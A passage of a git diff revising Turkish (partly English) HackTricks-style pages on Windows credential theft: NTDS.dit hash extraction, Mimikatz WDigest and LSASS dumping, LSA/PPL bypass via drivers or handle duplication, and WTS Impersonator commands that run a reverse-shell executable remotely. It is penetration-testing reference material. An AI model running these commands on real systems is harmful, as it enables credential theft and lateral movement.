kopyası**](#stealing-sam-and-system) hilesini kullanarak **ntds.dit** dosyasını kopyalayabilirsiniz. **SYSTEM dosyasının** da bir kopyasına ihtiyacınız olacağını unutmayın (yine, [**bunu kayıt defterinden dökün veya hacim gölgesi kopyası**](#stealing-sam-and-system) hilesini kullanın). +[**Hacim gölge kopyası**](#stealing-sam-and-system) hilesini **ntds.dit** dosyasını kopyalamak için de kullanabilirsiniz. **SYSTEM dosyası**nın bir kopyasına da ihtiyacınız olacağını unutmayın (yine, [**bunu kayıt defterinden dökün veya hacim gölge kopyası**](#stealing-sam-and-system) hilesini kullanın). ### **NTDS.dit'ten hash'leri çıkarmak** @@ -234,7 +238,7 @@ NTDS nesneleri, [ntdsdotsqlite](https://github.com/almandin/ntdsdotsqlite) ile b ``` ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive ``` -`SYSTEM` hivesi isteğe bağlıdır ancak gizli verilerin şifre çözümüne izin verir (NT & LM hash'leri, düz metin şifreler, kerberos veya güven ilişkisi anahtarları, NT & LM şifre geçmişleri gibi ek kimlik bilgileri). Diğer bilgilerle birlikte, aşağıdaki veriler çıkarılır: hash'leri ile kullanıcı ve makine hesapları, UAC bayrakları, son oturum açma ve şifre değiştirme zaman damgası, hesap açıklamaları, adlar, UPN, SPN, gruplar ve özyinelemeli üyelikler, organizasyonel birim ağacı ve üyelik, güvenilir alanlar ile güven ilişkisi türü, yönü ve nitelikleri... +`SYSTEM` hivesi isteğe bağlıdır ancak gizli bilgilerin şifre çözümlemesine izin verir (NT & LM hash'leri, düz metin şifreler, kerberos veya güven ilişkisi anahtarları, NT & LM şifre geçmişleri). Diğer bilgilerle birlikte, aşağıdaki veriler çıkarılır: hash'leri ile kullanıcı ve makine hesapları, UAC bayrakları, son oturum açma ve şifre değiştirme zaman damgası, hesap açıklamaları, adlar, UPN, SPN, gruplar ve özyinelemeli üyelikler, organizasyonel birim ağacı ve üyelik, güvenilir alanlar ile güven ilişkisi türü, yönü ve nitelikleri... ## Lazagne @@ -244,9 +248,9 @@ lazagne.exe all ``` ## SAM ve LSASS'tan kimlik bilgilerini çıkarmak için diğer araçlar -### Windows credentials Editor (WCE) +### Windows Credentials Editor (WCE) -Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Şuradan indirebilirsiniz: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) +Bu araç, bellekten kimlik bilgilerini çıkarmak için kullanılabilir. Bunu buradan indirin: [http://www.ampliasecurity.com/research/windows-credentials-editor/](https://www.ampliasecurity.com/research/windows-credentials-editor/) ### fgdump diff --git a/src/windows-hardening/stealing-credentials/credentials-protections.md b/src/windows-hardening/stealing-credentials/credentials-protections.md index 47e40f236..a573c146a 100644 --- a/src/windows-hardening/stealing-credentials/credentials-protections.md +++ b/src/windows-hardening/stealing-credentials/credentials-protections.md @@ -1,42 +1,72 @@ -# Windows Kimlik Bilgileri Koruma +# Windows Credentials Protections -## Kimlik Bilgileri Koruma +## Credentials Protections {{#include ../../banners/hacktricks-training.md}} ## WDigest -[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta (Yerel Güvenlik Otoritesi Alt Sistem Servisi) düz metin şifre depolamasına** yol açar. Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: +[WDigest]() protokolü, Windows XP ile tanıtılmıştır ve HTTP Protokolü üzerinden kimlik doğrulama için tasarlanmıştır ve **Windows XP'den Windows 8.0'a ve Windows Server 2003'ten Windows Server 2012'ye kadar varsayılan olarak etkindir**. Bu varsayılan ayar, **LSASS'ta düz metin şifre depolamasına** yol açar (Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti). Bir saldırgan, Mimikatz kullanarak **bu kimlik bilgilerini çıkarmak için** aşağıdaki komutu çalıştırabilir: ```bash sekurlsa::wdigest ``` -Bu özelliği **açmak veya kapatmak için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlanmışsa**, WDigest **devre dışı**dır: +Bu özelliği **kapalı veya açık hale getirmek için**, _**UseLogonCredential**_ ve _**Negotiate**_ kayıt defteri anahtarları _**HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest**_ içinde "1" olarak ayarlanmalıdır. Eğer bu anahtarlar **yoksa veya "0" olarak ayarlandıysa**, WDigest **devre dışı**dır: ```bash reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` -## LSA Koruması +## LSA Koruması (PP & PPL korumalı süreçler) -**Windows 8.1** ile birlikte, Microsoft LSA'nın güvenliğini **güvensiz süreçler tarafından yetkisiz bellek okumalarını veya kod enjeksiyonlarını engelleyecek şekilde geliştirdi**. Bu geliştirme, `mimikatz.exe sekurlsa:logonpasswords` gibi komutların tipik işleyişini engeller. Bu **geliştirilmiş korumayı etkinleştirmek için**, _**HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA**_ içindeki _**RunAsPPL**_ değeri 1 olarak ayarlanmalıdır: -``` -reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL -``` -### Bypass +**Korunan Süreç (PP)** ve **Korunan Süreç Işık (PPL)**, **Windows çekirdek düzeyinde korumalar** olup, **LSASS** gibi hassas süreçlere yetkisiz erişimi önlemek için tasarlanmıştır. **Windows Vista** ile tanıtılan **PP modeli**, başlangıçta **DRM** uygulaması için oluşturulmuş ve yalnızca **özel medya sertifikası** ile imzalanmış ikili dosyaların korunmasına izin vermiştir. **PP** olarak işaretlenmiş bir süreç, yalnızca **aynı zamanda PP olan** ve **eşit veya daha yüksek koruma seviyesine** sahip diğer süreçler tarafından erişilebilir ve bu durumda bile, **özel olarak izin verilmedikçe** yalnızca sınırlı erişim hakları ile erişilebilir. -Bu korumayı Mimikatz sürücüsü mimidrv.sys kullanarak atlamak mümkündür: +**PPL**, **Windows 8.1** ile tanıtılmıştır ve PP'nin daha esnek bir versiyonudur. **Daha geniş kullanım senaryolarına** (örneğin, LSASS, Defender) izin vererek **"koruma seviyeleri"** sunar; bu seviyeler, **dijital imzanın EKU (Gelişmiş Anahtar Kullanımı)** alanına dayanmaktadır. Koruma seviyesi, `EPROCESS.Protection` alanında saklanır; bu, aşağıdaki özelliklere sahip bir `PS_PROTECTION` yapısıdır: +- **Tür** (`Korunan` veya `KorunanIşık`) +- **İmzalayan** (örneğin, `WinTcb`, `Lsa`, `Antimalware`, vb.) + +Bu yapı tek bir bayta paketlenmiştir ve **kimin kime erişebileceğini** belirler: +- **Daha yüksek imzalayan değerler, daha düşük olanlara erişebilir** +- **PPL'ler PP'lere erişemez** +- **Korumasız süreçler, herhangi bir PPL/PP'ye erişemez** + +### Saldırgan bir perspektiften bilmeniz gerekenler + +- **LSASS PPL olarak çalıştığında**, normal bir yönetici bağlamından `OpenProcess(PROCESS_VM_READ | QUERY_INFORMATION)` kullanarak açma girişimleri **`0x5 (Erişim Reddedildi)`** ile başarısız olur, `SeDebugPrivilege` etkin olsa bile. +- **LSASS koruma seviyesini** Process Hacker gibi araçlarla veya `EPROCESS.Protection` değerini okuyarak programatik olarak kontrol edebilirsiniz. +- LSASS genellikle `PsProtectedSignerLsa-Light` (`0x41`) değerine sahip olacaktır; bu, yalnızca daha yüksek seviyeli bir imzalayan ile imzalanmış süreçler tarafından erişilebilir, örneğin `WinTcb` (`0x61` veya `0x62`). +- PPL, **sadece Kullanıcı Alanı kısıtlamasıdır**; **çekirdek düzeyindeki kod bunu tamamen atlayabilir**. +- LSASS'in PPL olması, **çekirdek shellcode'u çalıştırabilirseniz** veya **uygun erişime sahip yüksek ayrıcalıklı bir süreci kullanabilirseniz** kimlik bilgisi dökümünü **önlemez**. +- **PPL ayarlamak veya kaldırmak**, yeniden başlatma veya **Güvenli Önyükleme/UEFI ayarları** gerektirir; bu, kayıt defteri değişiklikleri geri alındığında bile PPL ayarını sürdürebilir. + +**PPL koruma seçeneklerini atlama:** + +PPL'ye rağmen LSASS'i dökmek istiyorsanız, 3 ana seçeneğiniz var: +1. **LSASS'in koruma bayrağını kaldırmak için imzalı bir çekirdek sürücüsü (örneğin, Mimikatz + mimidrv.sys)** kullanın: ![](../../images/mimidrv.png) +2. **Kendi Zayıf Sürücünüzü (BYOVD)** getirerek özel çekirdek kodu çalıştırın ve korumayı devre dışı bırakın. **PPLKiller**, **gdrv-loader** veya **kdmapper** gibi araçlar bunu mümkün kılar. +3. **Açık bir LSASS tutamacını** başka bir süreçten (örneğin, bir AV süreci) çalın, ardından bunu sürecinize **kopyalayın**. Bu, `pypykatz live lsa --method handledup` tekniğinin temelidir. +4. **Herhangi bir ayrıcalıklı süreci** kötüye kullanarak, onun adres alanına veya başka bir ayrıcalıklı sürecin içine rastgele kod yüklemenize izin veren bir süreç bulun; bu, PPL kısıtlamalarını etkili bir şekilde atlatır. Bunu [bypassing-lsa-protection-in-userland](https://blog.scrt.ch/2021/04/22/bypassing-lsa-protection-in-userland/) veya [https://github.com/itm4n/PPLdump](https://github.com/itm4n/PPLdump) adresinde bir örneğini kontrol edebilirsiniz. + +**LSASS için LSA koruma (PPL/PP) mevcut durumunu kontrol et:** +```bash +reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL +``` +When you running **`mimikatz privilege::debug sekurlsa::logonpasswords`** it'll probably fail with the error code `0x00000005` becasue of this. + +- For more information about this check [https://itm4n.github.io/lsass-runasppl/](https://itm4n.github.io/lsass-runasppl/) + + ## Credential Guard -**Credential Guard**, yalnızca **Windows 10 (Enterprise ve Education sürümleri)** için özel bir özellik olup, makine kimlik bilgilerinin güvenliğini **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak artırır. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişiminden uzak, korumalı bir bellek alanında ana süreçleri izole eder. Bu izolasyon, çekirdek bile VSM'deki belleğe erişemediğinden, kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkili bir şekilde korur. **Local Security Authority (LSA)** bu güvenli ortamda bir trustlet olarak çalışırken, ana işletim sistemindeki **LSASS** süreci yalnızca VSM'nin LSA'sı ile iletişim kuran bir aracı olarak görev yapar. +**Credential Guard**, yalnızca **Windows 10 (Enterprise ve Education sürümleri)** için özel bir özellik olup, **Virtual Secure Mode (VSM)** ve **Virtualization Based Security (VBS)** kullanarak makine kimlik bilgilerinin güvenliğini artırır. CPU sanallaştırma uzantılarını kullanarak, ana işletim sisteminin erişiminden uzak, korumalı bir bellek alanında ana süreçleri izole eder. Bu izolasyon, çekirdek bile VSM'deki belleğe erişemediğinden, kimlik bilgilerini **pass-the-hash** gibi saldırılardan etkili bir şekilde korur. **Local Security Authority (LSA)** bu güvenli ortamda bir trustlet olarak çalışırken, ana işletim sistemindeki **LSASS** süreci yalnızca VSM'nin LSA'sı ile iletişim kuran bir aracı olarak görev yapar. -Varsayılan olarak, **Credential Guard** aktif değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek, giriş denemeleri sırasında kimlik bilgilerini düz metin olarak yakalamak için hala açıklar istismar edilebilir. +Varsayılan olarak, **Credential Guard** aktif değildir ve bir organizasyon içinde manuel olarak etkinleştirilmesi gerekir. **Mimikatz** gibi araçlara karşı güvenliği artırmak için kritik öneme sahiptir; bu araçlar, kimlik bilgilerini çıkarmada kısıtlanır. Ancak, özel **Security Support Providers (SSP)** eklenerek, giriş denemeleri sırasında kimlik bilgilerini açık metin olarak yakalamak için hala zafiyetler istismar edilebilir. -**Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur. -```powershell +**Credential Guard**'ın etkinlik durumunu doğrulamak için, _**HKLM\System\CurrentControlSet\Control\LSA**_ altındaki kayıt defteri anahtarı _**LsaCfgFlags**_ incelenebilir. "**1**" değeri, **UEFI kilidi** ile etkinleştirildiğini, "**2**" kilitsiz olduğunu ve "**0**" ise etkinleştirilmediğini gösterir. Bu kayıt defteri kontrolü, güçlü bir gösterge olmasına rağmen, Credential Guard'ı etkinleştirmek için tek adım değildir. Bu özelliği etkinleştirmek için ayrıntılı kılavuz ve bir PowerShell betiği çevrimiçi olarak mevcuttur. +```bash reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` -Kapsamlı bir anlayış ve **Windows 10**'da **Credential Guard**'ı etkinleştirme ile **Windows 11 Enterprise ve Education (sürüm 22H2)** uyumlu sistemlerde otomatik aktivasyonu hakkında talimatlar için [Microsoft'un belgelerine](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) göz atın. +Kapsamlı bir anlayış ve **Credential Guard**'ı Windows 10'da etkinleştirme ile **Windows 11 Enterprise ve Education (sürüm 22H2)** uyumlu sistemlerde otomatik aktivasyonu hakkında talimatlar için [Microsoft'un belgelerine](https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credential-guard-manage) göz atın. Kimlik bilgilerini yakalamak için özel SSP'lerin uygulanmasıyla ilgili daha fazla ayrıntı [bu kılavuzda](../active-directory-methodology/custom-ssp.md) sağlanmaktadır. @@ -56,31 +86,31 @@ Bu özellik, uzak masaüstü bağlantılarını güvence altına almak ve hassas Daha ayrıntılı bilgi için [bu kaynağa](https://blog.ahasayen.com/restricted-admin-mode-for-rdp/) göz atın. -## Önbelleklenmiş Kimlik Bilgileri +## Önbelleğe Alınmış Kimlik Bilgileri Windows, **domain kimlik bilgilerini** **Yerel Güvenlik Otoritesi (LSA)** aracılığıyla güvence altına alır ve **Kerberos** ve **NTLM** gibi güvenlik protokolleri ile oturum açma süreçlerini destekler. Windows'un önemli bir özelliği, **son on domain oturum açma** işlemini önbelleğe alma yeteneğidir; bu, kullanıcıların **domain denetleyicisi çevrimdışı olduğunda** bile bilgisayarlarına erişim sağlamalarını garanti eder—bu, sık sık şirket ağından uzakta olan dizüstü bilgisayar kullanıcıları için büyük bir avantajdır. -Önbelleklenmiş oturum açma sayısı, belirli bir **kayıt defteri anahtarı veya grup politikası** aracılığıyla ayarlanabilir. Bu ayarı görüntülemek veya değiştirmek için aşağıdaki komut kullanılır: +Önbelleğe alınmış oturum açma sayısı, belirli bir **kayıt defteri anahtarı veya grup politikası** aracılığıyla ayarlanabilir. Bu ayarı görüntülemek veya değiştirmek için aşağıdaki komut kullanılır: ```bash reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` -Bu önbelleğe alınmış kimlik bilgilerine erişim sıkı bir şekilde kontrol edilmektedir; yalnızca **SYSTEM** hesabı bunları görüntülemek için gerekli izinlere sahiptir. Bu bilgilere erişmesi gereken yöneticiler, SYSTEM kullanıcı ayrıcalıkları ile bunu yapmalıdır. Kimlik bilgileri şu konumda saklanmaktadır: `HKEY_LOCAL_MACHINE\SECURITY\Cache` +Bu önbelleğe alınmış kimlik bilgilerine erişim sıkı bir şekilde kontrol edilmektedir; yalnızca **SYSTEM** hesabı bu bilgileri görüntülemek için gerekli izinlere sahiptir. Bu bilgilere erişmesi gereken yöneticiler, SYSTEM kullanıcı ayrıcalıkları ile bunu yapmalıdır. Kimlik bilgileri şu konumda saklanmaktadır: `HKEY_LOCAL_MACHINE\SECURITY\Cache` **Mimikatz**, bu önbelleğe alınmış kimlik bilgilerini `lsadump::cache` komutunu kullanarak çıkarmak için kullanılabilir. -Daha fazla ayrıntı için, orijinal [kaynak](http://juggernaut.wikidot.com/cached-credentials) kapsamlı bilgi sağlamaktadır. +Daha fazla ayrıntı için, orijinal [kaynak](http://juggernaut.wikidot.com/cached-credentials) kapsamlı bilgiler sunmaktadır. ## Korunan Kullanıcılar -**Korunan Kullanıcılar grubu** üyeliği, kullanıcılar için birkaç güvenlik geliştirmesi sunarak kimlik bilgisi hırsızlığı ve kötüye kullanıma karşı daha yüksek koruma seviyeleri sağlar: +**Korunan Kullanıcılar grubu** üyeliği, kullanıcılar için birkaç güvenlik geliştirmesi getirir ve kimlik bilgisi hırsızlığına ve kötüye kullanımına karşı daha yüksek koruma seviyeleri sağlar: - **Kimlik Bilgisi Delegasyonu (CredSSP)**: **Varsayılan kimlik bilgilerini devretmeye izin ver** Grup Politika ayarı etkin olsa bile, Korunan Kullanıcıların düz metin kimlik bilgileri önbelleğe alınmayacaktır. -- **Windows Digest**: **Windows 8.1 ve Windows Server 2012 R2**'den itibaren, sistem Korunan Kullanıcıların düz metin kimlik bilgilerini, Windows Digest durumu ne olursa olsun önbelleğe almayacaktır. +- **Windows Digest**: **Windows 8.1 ve Windows Server 2012 R2**'den itibaren, sistem Korunan Kullanıcıların düz metin kimlik bilgilerini önbelleğe almayacaktır; Windows Digest durumuna bakılmaksızın. - **NTLM**: Sistem, Korunan Kullanıcıların düz metin kimlik bilgilerini veya NT tek yönlü fonksiyonlarını (NTOWF) önbelleğe almayacaktır. -- **Kerberos**: Korunan Kullanıcılar için, Kerberos kimlik doğrulaması **DES** veya **RC4 anahtarları** oluşturmayacak, ayrıca düz metin kimlik bilgilerini veya ilk Ticket-Granting Ticket (TGT) edinimi sonrasındaki uzun vadeli anahtarları önbelleğe almayacaktır. -- **Çevrimdışı Giriş**: Korunan Kullanıcılar için giriş veya kilidi açma sırasında önbelleğe alınmış bir doğrulayıcı oluşturulmayacak, bu da bu hesaplar için çevrimdışı girişin desteklenmediği anlamına gelmektedir. +- **Kerberos**: Korunan Kullanıcılar için Kerberos kimlik doğrulaması **DES** veya **RC4 anahtarları** oluşturmayacak, ayrıca düz metin kimlik bilgilerini veya ilk Ticket-Granting Ticket (TGT) edinimi sonrasındaki uzun vadeli anahtarları önbelleğe almayacaktır. +- **Çevrimdışı Giriş**: Korunan Kullanıcılar, giriş veya kilidi açma sırasında önbelleğe alınmış bir doğrulayıcı oluşturulmayacak, bu da bu hesaplar için çevrimdışı girişin desteklenmediği anlamına gelmektedir. -Bu korumalar, **Korunan Kullanıcılar grubu** üyesi bir kullanıcının cihaza giriş yaptığı anda etkinleştirilir. Bu, çeşitli kimlik bilgisi ihlali yöntemlerine karşı koruma sağlamak için kritik güvenlik önlemlerinin alındığını garanti eder. +Bu korumalar, **Korunan Kullanıcılar grubuna** üye bir kullanıcının cihaza giriş yaptığı anda etkinleştirilir. Bu, çeşitli kimlik bilgisi ihlali yöntemlerine karşı koruma sağlamak için kritik güvenlik önlemlerinin alındığını garanti eder. Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group) başvurun. @@ -88,21 +118,21 @@ Daha ayrıntılı bilgi için resmi [belgelere](https://docs.microsoft.com/en-us | Windows Server 2003 RTM | Windows Server 2003 SP1+ |

Windows Server 2012,
Windows Server 2008 R2,
Windows Server 2008

| Windows Server 2016 | | ----------------------- | ------------------------ | ----------------------------------------------------------------------------- | ---------------------------- | -| Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri | Hesap Operatörleri | -| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | -| Yöneticiler | Yöneticiler | Yöneticiler | Yöneticiler | -| Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | Yedek Operatörleri | -| Sertifika Yayımcıları | | | | -| Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | Alan Yöneticileri | -| Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | Alan Denetleyicileri | -| Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | Kurumsal Yöneticiler | -| | | | Kurumsal Anahtar Yöneticileri| -| | | | Anahtar Yöneticileri | +| Account Operators | Account Operators | Account Operators | Account Operators | +| Administrator | Administrator | Administrator | Administrator | +| Administrators | Administrators | Administrators | Administrators | +| Backup Operators | Backup Operators | Backup Operators | Backup Operators | +| Cert Publishers | | | | +| Domain Admins | Domain Admins | Domain Admins | Domain Admins | +| Domain Controllers | Domain Controllers | Domain Controllers | Domain Controllers | +| Enterprise Admins | Enterprise Admins | Enterprise Admins | Enterprise Admins | +| | | | Enterprise Key Admins | +| | | | Key Admins | | Krbtgt | Krbtgt | Krbtgt | Krbtgt | -| Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | Yazıcı Operatörleri | -| | | Salt okunur Alan Denetleyicileri | Salt okunur Alan Denetleyicileri| -| Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | Çoğaltıcı | -| Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | Şema Yöneticileri | -| Sunucu Operatörleri | Sunucu Operatörleri | Sunucu Operatörleri | Sunucu Operatörleri | +| Print Operators | Print Operators | Print Operators | Print Operators | +| | | Read-only Domain Controllers | Read-only Domain Controllers | +| Replicator | Replicator | Replicator | Replicator | +| Schema Admins | Schema Admins | Schema Admins | Schema Admins | +| Server Operators | Server Operators | Server Operators | Server Operators | {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/stealing-credentials/wts-impersonator.md b/src/windows-hardening/stealing-credentials/wts-impersonator.md index 1902f0074..eef2c0c0c 100644 --- a/src/windows-hardening/stealing-credentials/wts-impersonator.md +++ b/src/windows-hardening/stealing-credentials/wts-impersonator.md @@ -1,47 +1,47 @@ {{#include ../../banners/hacktricks-training.md}} -**WTS Impersonator** aracı, **"\\pipe\LSM_API_service"** RPC İsimli borusunu kullanarak, oturum açmış kullanıcıları gizlice listeleyip, geleneksel Token Taklit yöntemlerini atlayarak onların token'larını ele geçirir. Bu yaklaşım, ağlar içinde sorunsuz yan hareketler sağlamaktadır. Bu tekniğin yeniliği **Omri Baso'ya atfedilmektedir; çalışmaları [GitHub](https://github.com/OmriBaso/WTSImpersonator)** üzerinde mevcuttur. +**WTS Impersonator** aracı, **"\\pipe\LSM_API_service"** RPC İsimli borusunu kullanarak, oturum açmış kullanıcıları gizlice listeleyip, geleneksel Token Taklit tekniklerini atlayarak onların token'larını ele geçirir. Bu yaklaşım, ağlar içinde sorunsuz yan hareketler sağlamaktadır. Bu tekniğin yeniliği **Omri Baso'ya atfedilmektedir; çalışmaları [GitHub](https://github.com/OmriBaso/WTSImpersonator)** üzerinde mevcuttur. ### Temel İşlevsellik Araç, bir dizi API çağrısı aracılığıyla çalışır: -```powershell +```bash WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW ``` ### Ana Modüller ve Kullanım - **Kullanıcıları Listeleme**: Araç ile yerel ve uzaktan kullanıcı listeleme mümkündür, her iki senaryo için de komutlar kullanılır: -- Yerel: -```powershell +- Yerel olarak: +```bash .\WTSImpersonator.exe -m enum ``` - Uzaktan, bir IP adresi veya ana bilgisayar adı belirterek: -```powershell +```bash .\WTSImpersonator.exe -m enum -s 192.168.40.131 ``` - **Komutları Çalıştırma**: `exec` ve `exec-remote` modülleri çalışmak için bir **Hizmet** bağlamına ihtiyaç duyar. Yerel yürütme, yalnızca WTSImpersonator çalıştırılabilir dosyasını ve bir komutu gerektirir: - Yerel komut yürütme örneği: -```powershell +```bash .\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe ``` -- PsExec64.exe, bir hizmet bağlamı elde etmek için kullanılabilir: -```powershell +- Hizmet bağlamı elde etmek için PsExec64.exe kullanılabilir: +```bash .\PsExec64.exe -accepteula -s cmd.exe ``` - **Uzaktan Komut Yürütme**: PsExec.exe'ye benzer şekilde uzaktan bir hizmet oluşturmayı ve yüklemeyi içerir, uygun izinlerle yürütmeye olanak tanır. - Uzaktan yürütme örneği: -```powershell +```bash .\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2 ``` -- **Kullanıcı Avlama Modülü**: Birden fazla makinede belirli kullanıcıları hedef alır, onların kimlik bilgileri altında kod çalıştırır. Bu, birden fazla sistemde yerel yönetici haklarına sahip Alan Yöneticilerini hedef almak için özellikle faydalıdır. +- **Kullanıcı Avlama Modülü**: Birden fazla makinede belirli kullanıcıları hedef alır, onların kimlik bilgileri altında kod yürütür. Bu, birden fazla sistemde yerel yönetici haklarına sahip Alan Yöneticilerini hedef almak için özellikle yararlıdır. - Kullanım örneği: -```powershell +```bash .\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index ca76771e0..8a7c2affd 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -32,7 +32,7 @@ integrity-levels.md ## Windows Güvenlik Kontrolleri -Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce, aşağıdaki **sayfayı okumalı** ve tüm bu **savunma** **mekanizmalarını** **listelemelisiniz**: +Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalıştırmanızı veya hatta **etkinliklerinizi tespit etmenizi** **önleyebilecek** farklı şeyler vardır. Yetki yükseltme listelemesine başlamadan önce **aşağıdaki sayfayı okumalı** ve tüm bu **savunma** **mekanizmalarını** **listelemelisiniz**: {{#ref}} ../authentication-credentials-uac-and-efs/ @@ -42,7 +42,7 @@ Windows'ta **sistemi listelemenizi**, çalıştırılabilir dosyaları çalışt ### Sürüm bilgisi listeleme -Windows sürümünün bilinen bir açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). +Windows sürümünün bilinen bir güvenlik açığı olup olmadığını kontrol edin (uygulanan yamaları da kontrol edin). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -71,7 +71,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**İstismarların Github depoları:** +**İstismarların Github reposu:** - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -79,7 +79,7 @@ Bu [site](https://msrc.microsoft.com/update-guide/vulnerability), Microsoft güv ### Ortam -Env değişkenlerinde herhangi bir kimlik bilgisi/juicy bilgi kaydedildi mi? +Herhangi bir kimlik bilgisi/Çekici bilgi çevre değişkenlerinde kaydedildi mi? ```bash set dir env: @@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell Transkript dosyaları -Bunu nasıl açacağınızı öğrenmek için [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) adresini ziyaret edebilirsiniz. +Bunu nasıl açacağınızı öğrenmek için [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) adresine bakabilirsiniz. ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -114,7 +114,7 @@ Stop-Transcript PowerShell boru hattı yürütmelerinin detayları, yürütülen komutlar, komut çağrıları ve script parçalarını kapsayacak şekilde kaydedilir. Ancak, tam yürütme detayları ve çıktı sonuçları yakalanmayabilir. -Bunu etkinleştirmek için, belgelerin "Transkript dosyaları" bölümündeki talimatları izleyin ve **"Modül Günlüğü"** seçeneğini **"Powershell Transkripsiyonu"** yerine tercih edin. +Bunu etkinleştirmek için, belgelerdeki "Transkript dosyaları" bölümündeki talimatları izleyin ve **"Modül Günlüğü"** seçeneğini **"Powershell Transkripsiyonu"** yerine tercih edin. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging @@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Bir scriptin yürütülmesinin tam etkinlik ve içerik kaydı tutulur, böylece her kod bloğu çalıştıkça belgelenir. Bu süreç, her etkinliğin kapsamlı bir denetim izini korur, bu da adli tıp ve kötü niyetli davranışları analiz etmek için değerlidir. Yürütme anında tüm 